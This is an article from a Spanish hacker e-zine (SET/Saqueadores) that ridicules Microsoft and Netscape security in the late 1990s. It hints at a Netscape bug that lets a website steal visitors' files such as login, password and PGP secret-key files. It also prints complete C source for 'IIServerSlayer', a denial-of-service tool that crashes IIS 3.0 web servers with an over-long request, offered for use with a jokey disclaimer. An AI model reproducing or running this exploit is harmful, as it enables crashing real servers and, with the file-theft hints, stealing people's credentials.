SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Gigantes con pies de barro

      4001

Autor: Paseante
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 07. GIGANTES CON PIES DE BARRO                                            o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII


Si Internet es el centro de la informatica (y de lo que no lo es)
Microsoft y Netscape son los gigantes de ese mundo, empresas millonarias,
productos que alcanzan todos los rincones del mundo y de los que continuamente
se lanzan nuevas versiones, todos parecen seguir la estela de estos colosos.
Y sin embargo...pueden tener estos gigantes los pies de barro?. Es lo que
vamos a analizar en este articulo, leedlo y juzgad vosotros mismos.


Poco antes de finalizar el numero anterior empezo a oirse un fuerte rumor
acerca de que Netscape se habia dado por enterada del serio bug
de seguridad que afecta a sus navegadores y estaba trabajando contrarreloj
para dejar listo un patch.
Como recordareis el mes pasado plantee el problema que se presenta a la
hora de escribir sobre bugs entre la "actualidad del bug" y la "utilidad"
que tendra una vez difundido ampliamente.
En este caso dada la premura de tiempo para escribir el articulo y la
falta de garantias acerca de si Netscape realmente estaba al tanto del bug
aconsejo el no escribir nada.
Al final resulto que si, al parecer un tipo un poquillo ansiosete por
cobrar dinerillo puso en alerta a Netscape de la existencia del bug pero
pidio mas pasta que los estandar 1.000 pavos + camiseta que dan los chicos
de Mountain View, al final los ingenieros de Netscape lo encontraron ellos
solitos y no le han dado un duro al avaricioso (bien le esta por cabr*n)

Puede que alguno de vosotros se este preguntando špero de que habla?.
Lo siento, a veces me olvido de que hay otras aficiones e intereses en la
vida aparte de estar al tanto de todos los fallos de seguridad :-(
El grano: Cualquier webmaster *puede* conseguir llevarse *cualquier*
archivo de un visitante de su pagina si se cumplen las condiciones:

a) El Webmaster conoce la ruta exacta del archivo
b) El visitante utiliza el Navigator

Ya, pero yo utilizo la version 2.x o el Communicator!
Da igual, el bug afecta al 2.x, 3.x, Communicator beta y Communicator final
4.0 (la 4.01 incorpora el patch)

Ya, pero yo no uso Win, trabajo desde Unix :-) !
Es independiente del sistema operativo, funciona en Mac, Unix, Windows...

Ya, pero yo estoy tras un firewall o proxy :-)) !
No importa en absoluto.

A joderse!. Tengo deshabilitado Java y Javascript!!
Tanto me da que me da lo mismo.

C*€ooooo!. Si. Pero no os preocupeis los que hayais visitado nuestras paginas
por esta u otras 'perrerias', hay un concepto que se llama hospitalidad o
sea que tranquilos que no os hemos hurgado el disco duro. :-)
[Ni tampoco hemos hecho otras perrerias como "hidden mail" o similares]

Una vez el rumor corrio y se convirtio en aplastante comenzaron los
membrillos de siempre (esos que piensan que son geniales por que se enteran
de las cosas con 6 meses de retraso) a decir: šComo se hace?
Y venga a escribir JavaScript y venga a decirse unos a otros: "Esto no
funciona ni del carajo pero seguro que tiene que ser asi, sigue sin salir
pero seguro que este es el camino". Los hay membrillos, obcecados
completamente en una idea y sin ser capaces de tener vision de conjunto.
NOTA: Los usuarios del MierdaSoft Explorer 4.0 que no se me alboroten no sea
que se lleven alguna bonita sorpresa proximamente. };->

El caso es que, evidentemente, Netscape intento minimizar el asunto diciendo
que era un bug no de seguridad sino de privacidad (?!) puesto que al fin y
al cabo el "mal bicho" tenia que conocer la *ruta exacta* y cada sistema es
diferente, este planteamiento ha sido entusiastamente seguido por la prensa
del sector que ha "pasado de puntillas" sobre el asunto.

Todo eso es una bazofia porque el bug es grave, cada sistema es diferente
pero al acceder a un site el webmaster ya sabe que sistema utilizas y cuales
son las ubicaciones por defecto (que las has cambiado? mala suerte) de
archivos de registro, inicio, claves (que te parece si se lleva el
trumpet ini y se lleva tu login y password para infovia si eres espa€ol, o
el secring.pgp, el autoexec.bat para ver lo que tienes en el computer..etc ,
etc, etc..)
Por supuesto si intenta llevarse grandes archivos puede notarse un mazo
(las prestaciones del modem parecerian caer en picado) pero para llevarse
unas cuantas configuraciones o archivos con datos "sensibles" ya esta bien.

El tema de patchs?. El Communicator 4.01 lo incorpora asi como las
versiones finales para Mac y Unix, el de 3.0 esta previsto que salga para
julio o asi (toy escribiendo esto en junio) y el de 2.x?. Un portavoz de
Netscape ha declarado lo siguiente, lo traduzco a castellano claro y
comprensible.

"2.x?. Los usuarios de 2.x que se vayan al peo, que hagan ya un upgrade que
es gratis y si no que se pudran. "

Mais claro agua. La misma politica de MercaSoft con el nuke a sistemas de
16 bits. Total a bajarse los 17Mb de Communicator pa ver paginas Web,
escribir correo y hacer tus paginillas practicamente la misma utilidad que
Bloc de Notas+Netscape 2.0.
Y por supuesto Microsoft no se queda atras, šquieres ver paginas Web? pues
bajate este bonito archivo de 25Mb que solo requiere 48Mb de Ram, Pentium
300, 4Gb de HD y la ultima beta de NT.
Ya os adivino la pregunta. šY todo eso como se hace?. A mi no me mireis, yo
no he sido el que ha dicho que INPUT=FILE y un frame "hidden" tienen algo
que ver, tampoco he comentado que el cebo es un falso link ni cosas
semejantes. Que me registren, pero que sea una tia cachas.
Claro que mientras tanto quiza eso de "Warn before submitting a form
insecurely" este mejor MARCADO. De nada.

Y mientras los chicos del navio se quedaban sin cenar en busca del bug en
un lugar de cuyo nombre no quiero acordarme los ingenieros de Microsoft
estaban a punto de enterarse de algo.. a las bravas.
Un poco de historia, por favor.


Microsoft presenta orgullosa su Windows NT 4.0 Server un sistema amigable
pero robusto, potente y estable, ideal para ser utilizado como servidor de
contenidos en Internet sobretodo si se utiliza en conjuncion con el
Internet Information Server (IIS) que en su version 3.0 MS regala a los
poseedores de NT.
Todo es bonito, el cielo es de color azul, los billetes fluyen hacia
Redmond cuando de repente ­cuidado! no son los galos irreductibles sino
un encapuchado llamado Todd Fast quien tumba el site entero de MSoft
solo con decirle a su browser. [Netscape 3.0 con Java 1.0.2]

Open Location: http://www.microsoft.com/? algo=******* (cadena irreproducible)

Y por arte de birlibirloque uno de los sites mas im-prezionantes del mundo
entero y conocido se derrumba, los usuarios que nada saben empiezan a
quejarse-cachondearse de MS por ese mensaje de "Obras y Upgrades" que los
mozos de Bill Gates colocan en su ventanuco como excusa para la casi
imposibilidad de acceder a su colapsado site, el terror cunde en casa-Bill.
­Todos sus clientes que confian en Windows NT e IIS pueden ver sus sites
cerrados!. Basta que cualquier loco-gracioso-resentido-delincuente o que
se yo, se conecte a Internet, abra su browser y libre la fatidica instruccion

Open Location:http://www.loquesea.com/? algo=****** (cadena irreproducible)

Y yasta!. Y el site se viene abajo y adios zarandajas de seguridad,
pandemoniums de firewalls, protocolos y la madre que los trajo_a_todos_los_
sinvergenzas_llamados_asesores_de_seguridad.
Si se€or, ridiculo espantoso de Billy Company pero no solo suyo, ridiculo de
todos los payasetes, zascandiles, besugos y correveidiles que disfrazados
de "expertos" se lian a explicar como han puesto perimetros vallados,
deteccion de humo, sonido y presion, vigilancia armada, sistemas expertos,
cursos de formacion en seguridad ..etc.
(A pagar, a pagar que el mundo se va a acabar)

Pero se€ores: Todo muy bonito y muy seguro, zi. Pero..­­se han dejado la
puerta principal abierta!!. Que ya no es la primera vez, que hace poco nos
pasamos un par de meses tirando Wincomputers conectados a Inet (entre
nosotros mismos, nada grave oiga).

Recapitulemos, dos ultimos numeros de Saqueadores:
Como tirar cualquier ordenador que use Win y NetBios (casi na)
Como hurgar el disco duro del vecino Netscapero (poquillo mas complicao)
Como tirar un site entero con NT e IIS (y sin salir del browser)

Y luego hacen conferencias de seguridad. Que estafa, por Dios, que estafa.
Aprendan primero a atarse los cordones. Y ­ojo al dato! que nadie se me
olvide de la promesa de arriba, el MSIE 4.0 nos va a hacer reir un rato
tambien, daremos tiempo al tiempo pero ya se hara correr la voz.

Y ya os adivino la pregunta. ;). šEso como se hace?. Lo siento, pero no
os puedo decir que de lo que se trata es de mandar al server una direccion
tipo CGI (con pares de nombre/valor y esas zarandajas) que este entre los 4k
y 8k de larga y que lo que hace cascar no es la direccion sino la _longitud_.
En cambio si puedo decir que "desatascar" el site es relativamente facil
siempre que algun "venado" no se dedique a "tirarlo" constantemente.
No seria prudente comentar que cada site requiere una cadena distinta y que
existe un programita en Java que va probando combinaciones automaticamente.
Por supuesto el programa que circula por Internet ha sido "retirado" de la
mayoria de los sites a ""peticion"" de Microsoft.

Y ya os adivino la pregunta?. Pero en Saqueadores lo habeis conseguido?
Pues.......... no.
Asi que lo que tenemos es un programita en C que hace lo mismo (al menos en
teoria) como ya sabeis C es nuestro "lenguaje oficial" :-))
Y como hoy estoy de buenas, aqui va el codigo fuente.


/* Este programa pretende ser una emulacion en C del programa
   IIServerSlayer desarrollado en Java por Todd Fast
   Esta testeado en Linux y compilado con gcc y glibc.
   Este programa es potencialmente peligroso
   Saqueadores no se responsabiliza de NADA.*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>

int s;
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;

int open_sock(int sock, char *server, int port) {
  struct sockaddr_in blah;
  struct hostent *he;
  bzero((char *)&blah,sizeof(blah));
  blah.sin_family=AF_INET;
  blah.sin_port=htons(port);
  if ((he = gethostbyname(server)) != NULL) {
    bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  }
  else {
    if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
      perror("gethostbyname()");
      return(2);
    }
  }
  if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
    perror("connect()");
    close(sock);
    return(3);
  }
  return 0;
}

char *generate_die_string(int lenght) {
  char letter='X';
  char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
  int i;
  str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
  strcpy(str,str_begin);
  for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
  str[i]=0;
  strcat(str,str_end);
  return (char *)str;
}

void IIServerSlayer(char *target,int lenght,int port,int flags) {
  char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
  char *IIS_patch = "Bad Request";
  int count = 0,return_status;
  if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket()");
    exit(1);
  }
  if((return_status = open_sock(s,target,port))) exit(return_status);
  if(lenght) printf("Inspector Lucas trabajando = %d a %s\n",lenght,target);
  else printf("Averiguando si %s es un server Microsoft-IIS/3.0\n"
              ,target);
  send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
  printf("Esperando respuesta de %s\n",target);
  buff[1]=0;
  while(recv(s,buff,1,0) == 1) {
    if(flags & 1) printf("%s",buff);
    else if(!div(count,50).rem) printf(".");
    if(count < 511) header[count]=buff[0];
    count++;
  }
  printf("\n");
  header[511]=0;
  if(strstr(header,IIS_string) == NULL && lenght == 0) {
    printf("Este servidor no es un Microsoft-IIS/3.0\n");
    if(!(flags & 2)) exit(0);
  }
  else if(!lenght) printf("Ok, este si es un servidor Microsoft-IIS/3.0\n");
  if(strstr(header,IIS_patch) != NULL) {
    printf("Este IIS/3.0 web server esta protegido contra el exploit\n");
    if(!(flags & 2)) exit(0);
  }
  close(s);
}

void main(int argc,char **argv)
{
  int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
  if (argc < 2 ) {
    printf("Uso: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
    printf("[-v] = verbose mode para ver la respuesta del server\n");
    printf("[-f] = fuerza a ejecutarse el exploit\n");
    exit(0);
  }
  for(i=1;i<argc;i++) {
    if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
    if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
  }
  if(argc > param+2) lenght = atoi(argv[param+2]);
  if(argc > param+3) port = atoi(argv[param+3]);
  for(i=0;i<3;i++,lenght++) {
    if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
    else IIServerSlayer(argv[param+1],0,port,flags);
    if(i == 1 || i == 0) lenght--;
  }
  if((pid = fork())) {
    if(pid == -1) {
      perror("No puedorrll\n");
      exit(-1);
    }
    usleep(60000000); /* Espera, pecador*/
    kill(pid,SIGTERM);
  }
  else {
    IIServerSlayer(argv[param+1],lenght,port,flags);
    printf("Cachis, %s todavia vive\n",argv[param+1]);
  }
  exit(0);
}


Por supuesto la cosa no se queda aqui, en el mes que ha pasado desde que
escribi esto hasta que se ha lanzado la revista han aparecido muchos mas
"fallos" (o son caracteristicas planeadas?) pero ya hablaremos de ello en
otro momento. No os lieis la cabeza que por los mensajes que he recibido
parece que hay gente que va con una caraja considerable. :DDD

Eso es todo amigos.